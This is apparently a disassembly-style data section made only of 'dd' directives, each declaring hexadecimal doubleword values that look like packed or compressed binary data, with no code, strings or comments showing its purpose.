dd 0BCF2EC41h, 0E4C34292h, 67E02018h, 30750929h, 0B3E2CD98h
dd 0C19E5611h, 7A58F00Ch, 0AEF44264h, 703A4CE2h, 5DD02066h
dd 0DB0F31A2h, 2985C36Fh, 23CC4B53h, 0B15E8AB3h, 0C0061939h
dd 6E37966Eh, 0EA4C5A28h, 0A39305Bh, 3114C50Ch, 0E160F6ADh
dd 0F8019CBBh, 79362183h, 4515CDE7h, 83EEAB49h, 7F0327BDh
dd 0B8C46168h, 5F801424h, 0DF42DC1Dh, 378A5B91h, 23611C69h
dd 0EDFE9193h, 0D71B70E0h, 1BA2AD9Ch, 2B2324ADh, 42D7C6F3h
dd 0F6D6692Fh, 0DB936316h, 0E40BB04h, 0C3D3CF18h, 191EDD34h
dd 9B0F6E51h, 0DCAF6F69h, 112E0C68h, 48BBF32Ch, 1C1CC7A8h
dd 0A895CCAEh, 0AB00251h, 1781FE61h, 0CFF3D28Fh, 0A3FC499h
dd 0E52579EAh, 39A91779h, 0A6340DACh, 89E30EACh, 0B1D2FACFh
dd 0F2B65E00h, 712DE2EAh, 96017F14h, 0D2C917C5h, 0FE5B3A7Ch
dd 0A3ED9AEEh, 0C38AAB38h, 0E9787FBBh, 17B4FC03h, 0FF60C9FBh
dd 0B89185D3h, 66D1680Bh, 46E4EA5Eh, 7DF4F2A2h, 22C53BAFh
dd 1D9BC3AEh, 53A62162h, 9027DD09h, 931122D8h, 0FA9ED034h
dd 0DE840FE0h, 0D6A3A647h, 80B7C2DEh, 0B2E8E5DEh, 842C74E5h
dd 3EA3717Ah, 485C649h, 0BE2E2249h, 5D040630h, 0CA95FD47h
dd 1DCA87A8h, 68BAF5B7h, 5539B937h, 1F8FE1FFh, 0C8354ADEh
dd 0A080148Ch, 823B5B6Bh, 11421BA9h, 69AB0E62h, 5032CD6Ch
dd 0AB9043C6h, 4F13DB14h, 9C3E15C1h, 4E5ECA76h, 0A068CD5h
dd 566DC1D4h, 0A0D853ADh, 2341B754h, 0DC4E5FF6h, 0DEF7D6A7h
dd 4BE17C80h, 6BC65C21h, 0AC4E9395h, 0A2B61CF9h, 9B6CEB8Ah
dd 0B662C93Bh, 0BCC45F97h, 6E680ECBh, 9F989DD7h, 7F6DCB4h
dd 0DACE9208h, 0A392BD0Fh, 0B0FCDC77h, 3A6AEAE2h, 65F6CE07h
dd 3B0D9547h, 0BE8F17EBh, 28D3DE04h, 442BD7D2h, 545254F1h
dd 0BC539635h, 0EAD358Fh, 5AE7D7C7h, 0AE086790h, 0A797F8FAh
dd 517821D3h, 0E0D8DF03h, 22A33989h, 99F01BA1h, 174D88C9h
dd 9A6BE9E7h, 0A857B43Fh, 7244797Ah, 2E841719h, 7BE604DFh
dd 0C220F197h, 7B94E324h, 32DAA773h, 0CF9A67D1h, 7BE76020h
dd 2D5F663Eh, 0F3296535h, 6B03758Eh, 1F52EB34h, 0E76A4247h
dd 0D515881Eh, 65E92A60h, 13A539AEh, 9A4DE1D5h, 0BCC6D79h
dd 5D5F2488h, 6692FA01h, 6995C190h, 0E86EED2Bh, 11953079h
dd 0ED1AB8A4h, 0A5E94D33h, 25143B60h, 70B1D4C8h, 6F56A8CBh
dd 2BDF29B2h, 2F5CD9F9h, 9589082Ah, 93E3A62Eh, 569F17AEh
dd 0FD6230E9h, 408A8A6Eh, 860F7394h, 2DF7A3DCh, 6D053A07h
dd 2992EF2Ah, 0CEEAFEF0h, 648C0C7Bh, 3873F3E3h, 0F595852h
dd 0BA3D40E5h, 346D69AAh, 0A933808Ch, 41A6942h, 2E602790h
dd 57AD9384h, 0EC7283C3h, 38DD092Ah, 50A548C0h, 4646701Eh
dd 0ACB31D27h, 0AB35DBF4h, 0D325C58Ah, 0B670E172h, 0C8F1E98Ah
dd 0FC568873h, 0A3809C3Ah, 50BAF453h, 91A48265h, 550D09CAh
dd 0A7A68DDAh, 0C63892DCh, 0AE1B3A07h, 63D41FFAh, 41CBC3A8h
dd 0D555C342h, 8A19D4AFh, 0FC413FA9h, 5BBB783h, 15FECC25h
dd 0D6C76D63h, 0FF7D8CE6h, 6792CB96h, 0D12EFF61h, 35D39B52h
dd 5C474AFAh, 0C00CC54Eh, 0F0B6B86Ah, 1C0908FCh, 0BA534B5h
dd 0C46C8E3Eh, 5063D2EAh, 715960EEh, 7E2718CFh, 6FBFA7F6h
dd 0F9C5704Ah, 45C88714h, 0F7B989FFh, 150C7548h, 9F91C30Ah
dd 18D11D86h, 791C023Bh, 0B8FD2108h, 6322AD55h, 0BBF5764Fh
dd 57CA4D35h, 7EB51DB3h, 0EAA5D44h, 4681C1D8h, 247D2821h
dd 0DF6D02C9h, 286DD6F1h, 88C011D9h, 0E88A2463h, 33B9BB94h
dd 0C3464923h, 5D6444BEh, 0A59196D6h, 5F51D38Fh, 0EB1DCD07h
dd 23F969D4h, 46E01ACAh, 0D345D8CEh, 0F840A69Fh, 0FC7A70A6h
dd 2EF9AC64h, 794C24BAh, 0F01A4AB4h, 0E92C4D80h, 73237D89h
dd 0B9DD161Fh, 8B3E5D96h, 321D3702h, 6A40CF4Ah, 5997BC2Eh
dd 0AAAA69C5h, 0B88BD2ECh, 11A1F415h, 2569A3C4h, 0A8B38A63h
dd 14D949D5h, 11940BBh, 9DB830BBh, 0D1021AA2h, 0E5251C55h
dd 0E22652C6h, 4E54546Ah, 925BA675h, 438E9788h, 6596548Ah
dd 4321E460h, 39DCAE06h, 17C357E9h, 95B0F1D1h, 9F1E9630h
dd 0A1C677B6h, 4B3249Ah, 6D5B80DFh, 33B16577h, 16F4269Ch
dd 0C8981F7Fh, 0B02B5EC0h, 5FB43BE5h, 12EDB4A9h, 0B2CC2E7Bh
dd 163BB569h, 82F500CEh, 7DD69C46h, 0B4CCA5C3h, 0C2D2F7A0h
dd 72371239h, 0A63A9721h, 0BEEEBE71h, 0FB152317h, 0D64E8745h
dd 73B91F4Bh, 0CDA35C11h, 1DAC9AC6h, 4CFEEC80h, 0A9175Dh
dd 0AFF62338h, 80266BE7h, 8F4CA7A8h, 15822E63h, 8F3E6DA2h
dd 9970EAD8h, 0F61787F1h, 0D440C341h, 0A95FFABDh, 0E633E010h
dd 5303B985h, 0DBF653E5h, 652D19h, 49BC4F99h, 0D2453F48h
dd 0B7524386h, 0E80DE288h, 0A15666F7h, 51646D31h, 8AF23E7h
dd 5383EEB5h, 0B1E4D44h, 0E7B335A2h, 0AE5E578Fh, 9AA196D6h
dd 0C9EB8EF5h, 6B85D38Dh, 9D46F1B5h, 0A176D8h, 756175FFh
dd 16B413E8h, 0D366E2F2h, 70BFDE19h, 7EE6F0E0h, 0B2B6F402h
dd 35C554B7h, 9E64C43Dh, 4289D0D1h, 1F1AF492h, 3278F816h
dd 0F20F7EBAh, 0B8DB0F06h, 0FC387EC5h, 81D4E618h, 6AD589CEh
dd 0BB753573h, 767979F5h
dd 66D55C9Bh, 2978743Dh, 0B0AED0A4h, 0BB56823h, 8619679Fh
dd 757984A6h, 0FE387D30h, 0C2670D66h, 84B3E9B5h, 49453CB9h
dd 23014193h, 1883615Fh, 45CE68E1h, 60CE0642h, 3D983CEDh
dd 9343060h, 95018E4Bh, 1E23E4D5h, 91C031CBh, 7CB7255Bh
dd 0BD11E195h, 243E4DA4h, 7E6E4AEh, 5C55F4C1h, 0CFC03814h
dd 37C0123h, 5E8009Eh, 7DE24E88h, 9910F5D9h, 983615DFh
dd 0A8A9D164h, 0D02F74EDh, 0E1D997C2h, 702D53A7h, 0A565B2C4h
dd 2D656EF7h, 0BC1590F9h, 0DA4FCC6h, 0E8E92212h, 33938370h
dd 7A814576h, 0C3005790h, 27BC1DF0h, 0E6F764E1h, 7EBC9F4h
dd 0FB49E41Bh, 1D8AC77h, 8582F205h, 299D7D9Ch, 0ACC492D6h
dd 35C31903h, 0E6888DFBh, 0AC00E18Eh, 0E0696D89h, 0FDA37113h
dd 9042F945h, 0B56636FAh, 0E1A51F87h, 0CB759CCFh, 6053572Fh
dd 0CC543A44h, 71F4D1BEh, 0CDE8BA16h, 0CEE2A371h, 0EA16115h
dd 67A436A9h, 2DE10A57h, 0E62A6173h, 59E85D29h, 448FC5B6h
dd 1C36F6C8h, 0F65D75Dh, 0E948CEA2h, 62A27977h, 0AD42B733h
dd 58EBCB6Ah, 19F2865Ah, 0DF4DDD17h, 2734B81Eh, 7654593Dh
dd 61F78565h, 0B5928E77h, 0B0B187E2h, 0DB0197E2h, 212767E4h
dd 9C4E3DE5h, 901FD604h, 4D0FABA7h, 0ADAC2A2Ah, 0CC8D442Dh
dd 0B0258380h, 5A1D23F5h, 8AA772EAh, 0DC7AEF2h, 56DA296Eh
dd 89F119AEh, 0B1D4389Bh, 7287BD76h, 0FBEDCB8h, 8B76CFFFh
dd 0DF5BA4D2h, 56B58F23h, 3D39D95Bh, 751B8902h, 0EB07133Ch
dd 347E3CE4h, 24DAAA57h, 0C05A7635h, 0B6000B0Bh, 28B7DDECh
dd 3C646517h, 0B7AD79B8h, 2F5432BEh, 26F9BD7Eh, 0D21A7E73h
dd 0C583408Eh, 36704473h, 0A246A318h, 4F429EF8h, 5AC8ED37h
dd 3C8B45A6h, 7B0EFB2Bh, 4FA7226Eh, 4E3FDA9Ah, 5C2EF379h
dd 5B16AF62h, 0CD4CFC0Bh, 997788EDh, 92874F25h, 5167432Eh
dd 0E5411DCBh, 366D6706h, 0D41B78F3h, 216C4832h, 41B2A73Ch
dd 0B1AA617Bh, 0DC44C6B6h, 52E06FAEh, 4C0C5BAAh, 0F64AECEBh
dd 47A63C74h, 0CE73D582h, 6617F79Dh, 504AD438h, 71C3CD85h
dd 8B5A789Bh, 8611F81Bh, 0F27A5B56h, 40684779h, 4FC40325h
dd 82451EE7h, 4F0C9EAEh, 4320A659h, 1BEDD33Eh, 0D31572B8h
dd 0BB2F2A1Ch, 52FC3B3Bh, 0B9FF1376h, 7B6850E4h, 8A5942E3h
dd 25FB01D6h, 5456ECEBh, 94CA2A08h, 2A6400E2h, 0BFD97F7Ah
dd 18C1A3C7h, 55335BEDh, 0CF3A35C6h, 1D2E8C8Eh, 9E4E7C0Dh
dd 65B17C7Ch, 6081DA7Eh, 84DD7BD2h, 2449B401h, 0AF984BE8h
dd 1373DA22h, 91CBB399h, 9C1BA99Ah, 360E80F7h, 0D1BCFAD3h
dd 19084292h, 0C8C04E28h, 0F3C27535h, 9B2BD4C6h, 0BD7EB16h
dd 4F29A0A2h, 853F6E31h, 6805D198h, 55C6C434h, 60E6FE4Ah
dd 3A23FA7Ah, 0BEA51DF5h, 3EC292DAh, 23EBA09Ah, 7F1EC3BCh
dd 8925E363h, 39896B43h, 5D74A3h, 3EDFE76Eh, 0E6467895h
dd 958F1BC0h, 0BB195209h, 577569EDh, 2D14D1CCh, 0F9F55BEEh
dd 0D80B12FFh, 941675D2h, 2C7F41D9h, 0F286530Eh, 92B86FA1h
dd 0EE1D1E08h, 0E5175690h, 99A80288h, 21CAA7F2h, 16086C2Ah
dd 953E7468h, 9A9561B0h, 890F236Dh, 320371D9h, 0E3A51495h
dd 0BEE5C597h, 620AC206h, 28D8B676h, 0CB05CEFh, 85F7B7D4h
dd 0C6E7FAA2h, 0F4689734h, 65A27064h, 0C92C0A7Bh, 70448F4Fh
dd 0CAB642E1h, 6CC76850h, 7F39599Dh, 4AF7BB80h, 1EAB079h
dd 8149EB3Ch, 555728Fh, 11F3A00Eh, 786510FCh, 65E194BDh
dd 8E65DE6Eh, 0BD642D18h, 92057FCAh, 3D11F9DBh, 0D9E8BECFh
dd 8C5D39BBh, 34FA2D2Ah, 1A8F89A3h, 0DA795E98h, 55DD9D08h
dd 7A940F8Dh, 0A9A2621h, 0F417181Ah, 8174CB7Eh, 0D4CB2B9Ch
dd 0F59DFB1Ch, 5EA49BD8h, 0CF0D4037h, 74CE35BCh, 2454255Ch
dd 0A98DE732h, 5110546Eh, 8D6F53DEh, 41E094DBh, 0D7825B11h
dd 0ACE1145Ch, 264997DBh, 19ED09F3h, 0DCBBE44h, 49D5211Bh
dd 914D252Fh, 7FB1B570h, 0B0E1460Dh, 0DF2E9866h, 6886D980h
dd 28D3E223h, 52F6EAF2h, 2E3C70B8h, 0B4445E72h, 0B5055884h
dd 0B888CD73h, 12986329h, 0ADFC7D3Ch, 0E8675CD8h, 9BE72826h
dd 6919DBABh, 0B594D4A4h, 0CAA60484h, 0CB681EC1h, 6B8A12F9h
dd 0E2285357h, 3D3B792Eh, 259C4BE1h, 0D28F8E03h, 0C17372C4h
dd 0F0502853h, 89E98813h, 0FF36CEFBh, 764C17AEh, 73A83925h
dd 0BDB2B30Ch, 77946B68h, 0D918238h, 0F9775AE3h, 0EB111574h
dd 8E35363Ah, 732F7294h, 9C848B22h, 77497h, 0A35261Fh
dd 0DFA282ABh, 19529134h, 0D3F38FD3h, 0C2B03516h, 3B9F7B2Bh
dd 131B9E59h, 0EBAA7713h, 0D0E2EC85h, 3A85EB2Dh, 1DBC5298h
dd 0A4F29D5Ah, 53FE10B6h, 0A4D00FA5h, 0C62ADAF3h, 0C64FEAE0h
dd 4E855D8h, 4D5BB986h, 92A7D454h, 9ABA2D9Ah, 71F6C5D1h
dd 57E05BC6h, 76D82ABh, 91E2EA6Bh, 0D7EE8798h, 43BD05D3h
dd 54BCFC89h, 2A47260h, 0A414EA9Ah, 50BAFDC5h, 0AB8D7FE2h
dd 0B5223EBBh, 0F2BB5813h, 39EF04F3h, 500D5A73h, 0E2327355h
dd 34108887h, 25A9704Eh, 5F085033h, 38F60C62h, 0BF7CDB4Dh
dd 0BD5CF948h, 0B9A331B0h, 27847656h, 0BFF3D426h, 0AD471FBh
dd 9F2ABB2Eh, 95476083h, 0E5FFA6B7h, 0FB5268C4h, 477435D5h
dd 762AC264h, 8EFC97F0h, 82FBB770h, 92DEAD7Fh, 1791B10Bh
dd 2D71FF3Ah, 0B722B8F0h, 0DCF40AA0h, 174D79CEh, 24978893h
dd 9D7A0BE0h, 302C49CBh, 869588DAh, 0B6DD228Eh, 0AF09D12Dh
dd 0B1E8C9EAh, 0B2C5CFB2h, 0C1B8C070h, 6E52BC33h, 59A12FEh
dd 971CFA62h, 816F3B6Bh, 0BF1941B5h, 3E3A1905h, 7EC9BFC3h
dd 5C9EBC51h, 5CB15B23h, 9D60B6E6h, 73C9A39Bh, 8F4200ADh
dd 0FD77E023h, 9A5FADCh, 7161A5DDh, 17D732F2h, 2D181467h
dd 5A1E20C8h, 0A61235EEh, 0B654FCA0h, 8965215Fh, 4CECCAE0h
dd 0BBDCA1C1h, 9F8FBE85h, 68B464C9h, 0FB28213Fh, 78F56EBAh
dd 48BFE3B7h, 0E9B5F576h, 0AB8D63h, 9DB7E571h, 0B1731D76h
dd 0F459AC55h, 0D07963C4h, 0B0E30287h, 8DFDB7A2h, 0DB9F3894h
dd 3CFED431h, 1EEC8AB9h, 0C54474E6h, 55997DBBh, 0E36E96F2h
dd 0B389AD2Dh, 9F690C8Bh, 626C2763h, 9A011836h, 1BFA1CFAh
dd 4F31BF7Dh, 9237657h, 513A5AEEh, 0F614EF29h, 0B837D05Dh
dd 2FE5CE87h, 58017067h, 0A196A16Fh, 6723B279h, 5603BC2Fh
dd 2E3172EFh, 0C4467FB4h, 0C865734Ch, 4B03D6FCh, 0EB2D6D1Ah
dd 2E2E3EC0h, 0E5F88577h, 0CF1FC2F1h, 789B7C8Bh, 0B43C4C32h
dd 576AA7D4h, 9D61894Bh, 0ADD24896h, 0CDC401CAh, 3662037Dh
dd 0F1D37116h, 39166B82h, 0D72F1354h, 632776A2h, 1BD7C232h
dd 33DA24B5h, 7DADA7DEh, 0F2493898h, 29A68921h, 0A9A6DDECh
dd 8F8F08DEh, 4212E060h, 3E32DD07h, 18A1D2B7h, 15E7F007h
dd 0EDCA69ACh, 0B376AB6Ch, 30459540h, 71E74201h, 9DB7AAh
dd 10B19F0Bh, 22E84DA9h, 0E19F7725h, 1241F256h, 0F1DF2E04h
dd 4BD890Fh, 6DB62281h, 0CF82273Ah, 576CB5DDh, 80F1321Fh
dd 0F1D1DE46h, 0D77B5D49h, 0D447A239h, 8C50B6C9h, 97765C19h
dd 4B04EC87h, 79CE7952h, 52A5E388h, 0EC8E75BBh, 0A73C289Ch
dd 78938F59h, 1F1A4387h, 4BE01F51h, 0A11C9075h, 0D5678526h
dd 0CDC0B81Fh, 0B06DC488h, 0FB736D83h, 0A3C1BAECh, 0B434650h
dd 26711210h, 1BB1C973h, 2F1B132Dh, 88276E13h, 0CC3F346Dh
dd 0FAFD5223h, 20C4DB6Eh, 0C825CFAAh, 22F8EF73h, 0B664D55h
dd 9BBA8B8Ch, 6F6BB6E3h
dd 0DC08000Fh, 0D1532904h, 6EE9835h, 0B9B5F553h, 0A3E86C06h
dd 5E4B1D7Bh, 0EC4F8DA6h, 35361D81h, 8E211BDAh, 5A87281Ah
dd 0B27DFD11h, 13869900h, 0A9DD9AA8h, 1F09BE58h, 0E8285E30h
dd 0A8D7712Ah, 0C48B04BCh, 0E3F9C788h, 0AD89B9BBh, 0FE2A3A0Dh
dd 284BF1C0h, 6F1759BBh, 0DC06A5D8h, 4982891Fh, 0C7E80E68h
dd 54CE5BAAh, 0B5364A1Dh, 0F85F4D66h, 0D242C6B3h, 0E5F2DBCAh
dd 0AD882728h, 0E56ED546h, 0F862E3DDh, 25D9C95Eh, 9FB31DCDh
dd 0AF8B38CDh, 0FDFF29B1h, 7DD1A7h, 0
dd 0FFFD6F00h, 0BCD98FFh, 3474AC38h, 21095C81h, 0F9255F13h
dd 0AA9D57B3h, 0B0F9924Fh, 4E2A11D2h, 51509D19h, 0B9EC6757h
dd 0C7A37A50h, 71FA83F2h, 0F2913252h, 0B83C5DA2h, 3F28E190h
dd 0A38D54A8h, 94EBFD1Eh, 92E74618h, 231D5DC2h, 0B9C69C2Bh
dd 26BEAE57h, 81E3A765h, 0FF76A66Eh, 6232808Bh, 7D62622Bh
dd 5E018F0Dh, 3227EBCDh, 6495A71Ch, 23094D2Dh, 1C72A358h
dd 8F6F925Fh, 0B85A9F06h, 0E32A4233h, 0A9AFA54Ah, 4E87605h
dd 96678064h, 671FEA5Bh, 4844D779h, 8EFE8AC9h, 3B48F1CFh
dd 784C6B7Dh, 99A13DF0h, 0B3E3CDB9h, 4FA961C0h, 3ED12F76h
dd 87CD3AE1h, 1EAB51D7h, 0DEE6EB5Ch, 7E51004Ch, 463B0483h
dd 0A8EEB807h, 3E2FF000h, 84238D18h, 6784179Dh, 9D443AA2h
dd 8EBA548Eh, 0EFD80D8Dh, 84D27FDDh, 4017959h, 745CE89Fh
dd 0A2916C3Eh, 847700B2h, 8100E0BBh, 0BB00E023h, 3B68B579h
dd 84E0C508h, 0CAD92A8Fh, 1E2CB777h, 0C9E1318Fh, 20B2818h
dd 0CAA941BCh, 0B7FE6E85h, 41E1E89Eh, 812B5252h, 5EC14E68h
dd 0C1D23FF0h, 3287433Eh, 8D9F06C3h, 65B6F439h, 0D23BACDEh
dd 0D620203Fh, 0F48F8784h, 77E90351h, 9D0D875Eh, 0A3FD9483h
dd 91E4A80Ch, 1471B3B8h, 0FDF92382h, 0A18B8913h, 32587AC8h
dd 0C0B1BDF3h, 7113B6FDh, 8814DE14h, 158D7DFEh, 6EA9063Dh
dd 97841CB9h, 0B5CF1242h, 998BE27Bh, 5395C977h, 3D9B4130h
dd 3E3DB1FBh, 78C6F522h, 491CE62Eh, 32A0A872h, 0F6DEF095h
dd 9925515Fh, 9D68C05Eh, 2AD9D933h, 3D87DF27h, 98CAD746h
dd 7B4B7BBAh, 42C0418Ch, 55FFAC3Ah, 0E9E60EDFh, 1A5E22B6h
dd 6266223Bh, 0D60B729Ch, 0BB0203D9h, 0BDDF7A79h, 0E420D99h
dd 82710EAAh, 3552D05Ah, 530413D4h, 57167BBFh, 0AE1746FBh
dd 4B817904h, 66D41F5Bh, 0D57F689h, 85AB3F91h, 48EDAC5Ah
dd 0F8C2694Ah, 0D588A5Bh, 2FFAF79Fh, 704C6214h, 89F3DD1Dh
dd 0C9DA0758h, 0E48BE6D3h, 739770ADh, 51F1B8Bh, 8CEC3FD6h
dd 81476551h, 6F549987h, 58650925h, 5D953450h, 35C08032h
dd 8E0E20D8h, 0EF6FD385h, 0B9B626B5h, 0AC9B5F89h, 0B5553C80h
dd 3001897Ch, 167BDEFEh, 0F35DD21Eh, 2C224BBAh, 0A96BBC2Fh
dd 0C55FC303h, 0D8FBE6FBh, 0CF373460h, 0B3BAD058h, 226D2A36h
dd 0A94561BCh, 9CCC4AC8h, 0A197A137h, 92F5F6D7h, 6F2BAF1Ch
dd 630B9346h, 26E0D47Bh, 0C161DDBBh, 5CCB5920h, 74B3BBF7h
dd 1F243DFEh, 59FEA351h, 66175D2Fh, 2249E693h, 0F95C5D03h
dd 0ADE86412h, 0D0DBB8F9h, 22A38AD6h, 0EAC7A87Dh, 70B12C52h
dd 681EE6E9h, 0DAE874A0h, 3E87BE7Dh, 40F914E9h, 9133BFE5h
dd 0D83BEF88h, 25449457h, 21C0E5F2h, 184D2ABFh, 7EF2FADDh
dd 9BEC5CEFh, 0A94204B4h, 7E620368h, 0DB10EC9Eh, 7D1D015Bh
dd 0FA911CEh, 0D5815CB6h, 2E4C59E3h, 0AA4524FBh, 0CA33760Fh
dd 0C8F0E6A5h, 1389A575h, 19C57A0Bh, 9BF76EFAh, 2AC634F9h
dd 60CCCA63h, 0D2823E53h, 46E05335h, 0F7BA3DD6h, 0CB0D40Ch
dd 170479FDh, 442E7685h, 2B938D00h, 2B5937Eh, 0C192B1D4h
dd 504D3C0Ch, 0A9138222h, 0B2A53C40h, 93EF919Bh, 9FB31FA3h
dd 6D0EC1E1h, 0B02F23C4h, 6200FB8Ch, 0D57BCC63h, 6A6DBCCFh
dd 0BC39C46Eh, 5E6BAD52h, 50F2537h, 6DA48D89h, 64BEC053h
dd 3CF836B4h, 62ECC475h, 0DBAE86D7h, 0E78460D1h, 7C14EE1Dh
dd 6117A4B4h, 6F7F2067h, 781FD8Bh, 23BD9BB7h, 73D863F0h
dd 0B9EC3D64h, 0F2EAA96Dh, 0AAE39159h, 0BCA98A96h, 0C28ECE16h
dd 0D0D9ECFh, 92CB1D25h, 0ECBF599Fh, 0ACF91ACBh, 77EC85FBh
dd 99D3082h, 0A155C324h, 0C76ADEC2h, 5919FD59h, 0F0D310C0h
dd 79F77D4Fh, 6920BE05h, 6BC3B72Bh, 3042786Fh, 9D5B9BD0h
dd 445DF4CEh, 0E05FB29Eh, 8E332E25h, 4CC455C1h, 0D74A6F53h
dd 0BDDFE67Ch, 74D57B2Dh, 0ABCA93F6h, 6B425232h, 9E42BEC2h
dd 0A243EE0Ah, 94ADF0E6h, 9E7BC5F1h, 721219DCh, 46E0C928h
dd 0A79E5F1Bh, 0F02CE139h, 8BA594EEh, 0C459E6D1h, 0A38C3C36h
dd 0D5A7FB32h, 947E1F13h, 9C96DB86h, 36B36E82h, 43EDF23Ch
dd 54A0A18Dh, 37B053DDh, 0A228AF2Ah, 0E6A55910h, 4961CADFh
dd 1979AEBFh, 0E214F856h, 7FA120B8h, 0C8EA17B8h, 7FA017F2h
dd 0E9CA2B00h, 87752C29h, 0C6143526h, 0ECA68C75h, 0D58BA874h
dd 0A1A98F61h, 6BEF9E85h, 157F6A3h, 81117EEDh, 626B4BE5h
dd 0F2D2A435h, 0C46B301Ah, 0F0F74B1Fh, 1169E087h, 40F0F6Ch
dd 946E1746h, 542527FEh, 0EEAC206Fh, 917C7550h, 8B6F6486h
dd 0A0B7E98Ch, 7EA64F7Ch, 0C9D86205h, 8219D15Ah, 0D2212C79h
dd 550244B1h, 0EDA73936h, 0D3CB4D37h, 93F4F8F7h, 0F2AACC46h
dd 2AD68089h, 8A25D4E7h, 0A7B032B6h, 0F7A45FA5h, 560396ABh
dd 0BD657799h, 2AD4997Ch, 0BE6ECD1Dh, 9A2F5ACEh, 931C9549h
dd 0B6D08272h, 7F73390Eh, 0BFB061F3h, 3672329Ah, 0A9F3B0h
dd 29822FDh, 0EFBE283h, 725552E7h, 78CAEF05h, 3243E02Bh
dd 3D859BB5h, 0D7CF612Fh, 8CD2E6EFh, 60CA08D8h, 15A49A07h
dd 6EBBD91Bh, 13E111D5h, 9C1A8C01h, 0C34D1376h, 0F6784D4h
dd 327239D3h, 0AE1BAB18h, 59710245h, 0C638DF65h, 0FB2A4CABh
dd 98DCF282h, 0C34019F6h, 5169A2E0h, 0CEB66FA6h, 42E0BE1Fh
dd 8E2F4BDAh, 3B7DD5D4h, 124AF992h, 0A131FE5Ch, 0CB8739B2h
dd 0C3F6DA33h, 65820F7Ch, 626E4249h, 0E22B73FEh, 917D3878h
dd 1A17CF29h, 55BD71E4h, 5F96E97Ah, 9A3249B3h, 78A2AC2h
dd 0D5C3E98Fh, 0FDFE58F6h, 64C49C56h, 0D73EE70Eh, 2C924868h
dd 0BEA0054h, 8D3EB1D1h, 0E3819773h, 0AA85E720h, 0AAC9D4FCh
dd 34A5FB25h, 0ADFDA1A2h, 0AA62EB27h, 668EEB96h, 0EDADB9DDh
dd 1F751AB8h, 8AAB607Ch, 275AB499h, 0DDB8F07Bh, 0BF10A344h
dd 0E5F952A2h, 5A0C3114h, 0EAFD93D5h, 64BA2A93h, 0FA93F10Ch
dd 0D75A007Dh, 9C933971h, 5A900FCEh, 8EFA0B78h, 0D97C101Fh
dd 0A53AC48Eh, 0EE569FA5h, 17B37519h, 896CCA69h, 0FDD7B780h
dd 9BDAFB3Ch, 635E7528h, 48D443B6h, 846A1395h, 34B6466Ah
dd 0AC781385h, 0DBF7FEA7h, 961DDA43h, 40EF055Bh, 0BA582715h
dd 0EDC96AB5h, 0BD457F1Fh, 48BDC14Bh, 0FE2975A9h, 0B9313B18h
dd 8990D751h, 66F46F5Dh, 723D948Dh, 82A72FB2h, 80E430F2h
dd 722C387Eh, 0C28082E9h, 0F2FF87C5h, 90B50743h, 0D4EC61E6h
dd 53B8B688h, 0D7E27C62h, 18CDDD5Eh, 53A6453Fh, 7A03D7CAh
dd 3DA9CCC5h, 0DE83C921h, 3FDE583Ch, 0C1844D1Eh, 3BC8EBAh
dd 55AC18B9h, 0C58CDADh, 4066338Ch, 0FA2EAE06h, 0DAD54FDEh
dd 0A988D1DAh, 0A0C24F1Ch, 0CE327932h, 0BF46DCA0h, 42E7F104h
dd 957E0C26h, 571BF63Bh, 0F5900BF0h, 587F2FE5h, 118C13FCh
dd 752DB325h, 9323644Ah, 5CF3A9A2h, 8B4C8CECh, 38FEE1Fh
dd 8BED4D80h, 34D9C2B8h, 917AF9AEh, 5C71A316h, 1001A5E2h
dd 1BBA3F23h, 851E1AF5h, 4743511h, 0F6EF9608h, 3A87A732h
dd 3595BDEAh, 0DAB7A983h, 6ABBDD0Dh, 35F8812Ah, 0D3C0D002h
dd 425096FDh, 0FF8E7904h, 0B99E46EAh, 0EF6B11CAh, 0F3882A01h
dd 0B8CCB425h, 0CD1CD296h, 54E35271h, 0DD88C742h, 0BA0AE6A2h
dd 8A956EADh, 824DD395h, 0A0A9C96Ah, 7AF96C5Eh, 0D2085BF1h
dd 4AED8924h, 99BE4923h, 0C83F02C3h, 19E1F49Eh, 8032BCE1h
dd 0ECB100C6h, 744A035Eh, 50CEAB1Fh, 0C4703730h, 31BEC09Ch
dd 0F4CFC89Dh, 81BC6E35h
dd 7B5E446Ah, 0B7E46F18h, 2650358Ah, 9783009Fh, 1915C4ACh
dd 3D1ECD66h, 69CFD0A3h, 53F88D5Eh, 9EBDE096h, 5EF23AF0h
dd 381B11C5h, 5B5E8E40h, 0B0033D3Eh, 87C2B2B6h, 7E948EA1h
dd 7CADE54h, 46AF7DACh, 0FDD28A11h, 530DA538h, 911A78A9h
dd 0CA99AC03h, 0FBE36561h, 61BF520h, 0EDCDC0C8h, 0F4AF98E0h
dd 0B2BFCB52h, 0AC368BB2h, 48CC624Ah, 0A48A8286h, 9A1C3F21h
dd 0DE78AD41h, 2C7CE210h, 70D5BE6Fh, 13F53F86h, 22558B5Eh
dd 0BDB8E15Bh, 25F32044h, 0FD013D7h, 105ED36Ah, 0D1A96574h
dd 2FE59CE7h, 6E5F08B8h, 0A3EDB0E5h, 0D8DFA365h, 0DDB197A2h
dd 8ED51A66h, 7E7E1AF5h, 0FCFFA776h, 3B68B4h, 0
dd 0A8986800h, 0A172D2FAh, 0D6EBD460h, 36474440h, 44862768h
dd 1E158D22h, 0DC207EDFh, 7C6CE277h, 94AD080Dh, 0B78E7E53h
dd 738FB630h, 5123B4CBh, 0DB6ED9FBh, 5C176697h, 741A1CC6h
dd 318CAD8Ch, 16664C3Ch, 357AE0FDh, 0E1E911D6h, 4CDCD93Fh
dd 8EBD6141h, 0AB23C45Dh, 0E1B57644h, 9BE0EA8Fh, 0A348B125h
dd 0B821E98h, 0FD137676h, 0CC1E97D3h, 0F6B78FA2h, 59F9B69Ah
dd 3E8E7545h, 813256E7h, 0E9441F9Dh, 0CA65490Dh, 6DC1B823h
dd 62EE5723h, 5F5453A1h, 0BEF81650h, 896B6B81h, 5A1021A7h
dd 6D62850Dh, 96FB9592h, 1ACF3D3Ch, 83738480h, 6A9AF48Ah
dd 0D103C8D2h, 7D7B6551h, 0E3FF9A2Dh, 384FD06Ch, 2BF4F122h
dd 0D1B9B11Ch, 74B06B46h, 0C4130CC9h, 0A8D1434Ch, 8F12DE04h
dd 0E644DBA8h, 0E2996694h, 1FEF06B0h, 6B5A352Eh, 1C9891ADh
dd 63688F30h, 3ECEEBEEh, 18321A79h, 23D2EFBAh, 44CDB280h
dd 592F8A69h, 2BD00B72h, 16ECCBB9h, 0D3C756CFh, 1F5609C6h
dd 578FDEFEh, 0FD6AF2CDh, 0E202A6E6h, 0F35EDF4h, 8D0CF1E5h
